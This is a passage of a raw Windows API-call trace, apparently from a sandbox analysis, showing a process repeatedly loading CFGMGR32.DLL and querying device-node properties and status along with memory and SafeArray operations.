lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.847] malloc (_Size=0x18) returned 0x20abc281ec0 [0237.848] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0237.848] malloc (_Size=0x10e) returned 0x20abc284e70 [0237.848] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc284e70, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc284e70, pulLength=0x2dc22fd3f8) returned 0x0 [0237.849] free (_Block=0x20abc284e70) [0237.849] malloc (_Size=0x48) returned 0x20abc2abe00 [0237.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x49879c2c, dwHighDateTime=0x1d9eb0c)) [0237.850] SetEvent (hEvent=0x248) returned 1 [0237.855] malloc (_Size=0x18) returned 0x20abc281bc0 [0237.855] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0237.855] free (_Block=0x20abc281bc0) [0237.855] malloc (_Size=0x18) returned 0x20abc281de0 [0237.855] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0237.855] free (_Block=0x20abc281de0) [0237.855] malloc (_Size=0x18) returned 0x20abc281c40 [0237.855] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0237.856] free (_Block=0x20abc281c40) [0237.856] malloc (_Size=0x18) returned 0x20abc281b20 [0237.856] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0237.856] free (_Block=0x20abc281b20) [0237.856] malloc (_Size=0x18) returned 0x20abc281be0 [0237.856] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0237.856] free (_Block=0x20abc281be0) [0237.856] malloc (_Size=0x18) returned 0x20abc281de0 [0237.856] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0237.856] free (_Block=0x20abc281de0) [0237.856] malloc (_Size=0x18) returned 0x20abc281c00 [0237.856] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0237.856] free (_Block=0x20abc281c00) [0237.857] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bf70 [0237.857] SafeArrayGetDim (psa=0x20abbaf2420) returned 0x1 [0237.857] SafeArrayGetLBound (in: psa=0x20abbaf2420, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.857] SafeArrayGetUBound (in: psa=0x20abbaf2420, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.857] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0237.857] SafeArrayGetDim (psa=0x20abbaf2420) returned 0x1 [0237.857] SafeArrayGetUBound (in: psa=0x20abbaf2420, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.857] SafeArrayGetElemsize (psa=0x20abbaf2420) returned 0x8 [0237.857] SafeArrayGetElement (in: psa=0x20abbaf2420, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.858] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1810, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.858] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1818, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.858] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1820, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.858] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1828, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.858] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1830, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.859] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1838, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.859] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1840, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.860] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0237.860] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bf70) returned 1 [0237.861] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.861] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.866] malloc (_Size=0x18) returned 0x20abc281d60 [0237.867] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.871] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x498c66cb, dwHighDateTime=0x1d9eb0c)) [0237.871] SetEvent (hEvent=0x248) returned 1 [0237.876] malloc (_Size=0xd8) returned 0x20abc286a50 [0237.876] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.962] malloc (_Size=0x18) returned 0x20abc281b80 [0237.962] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.963] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x499aaf2d, dwHighDateTime=0x1d9eb0c)) [0237.963] SetEvent (hEvent=0x248) returned 1 [0237.969] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.969] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.973] malloc (_Size=0x18) returned 0x20abc281fc0 [0237.974] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.974] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x499aaf2d, dwHighDateTime=0x1d9eb0c)) [0237.987] SetEvent (hEvent=0x248) returned 1 [0237.993] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.993] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.997] malloc (_Size=0x18) returned 0x20abc281fc0 [0237.997] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.997] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x499f7866, dwHighDateTime=0x1d9eb0c)) [0237.998] SetEvent (hEvent=0x248) returned 1 [0238.005] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.005] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.010] malloc (_Size=0x18) returned 0x20abc281f60 [0238.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.015] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49a1dc0d, dwHighDateTime=0x1d9eb0c)) [0238.016] SetEvent (hEvent=0x248) returned 1 [0238.094] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.094] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.098] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.099] malloc (_Size=0x18) returned 0x20abc281b20 [0238.099] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0238.099] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x49adc307, dwHighDateTime=0x1d9eb0c)) [0238.100] SetEvent (hEvent=0x248) returned 1 [0238.105] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.106] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.108] GetProcAddress 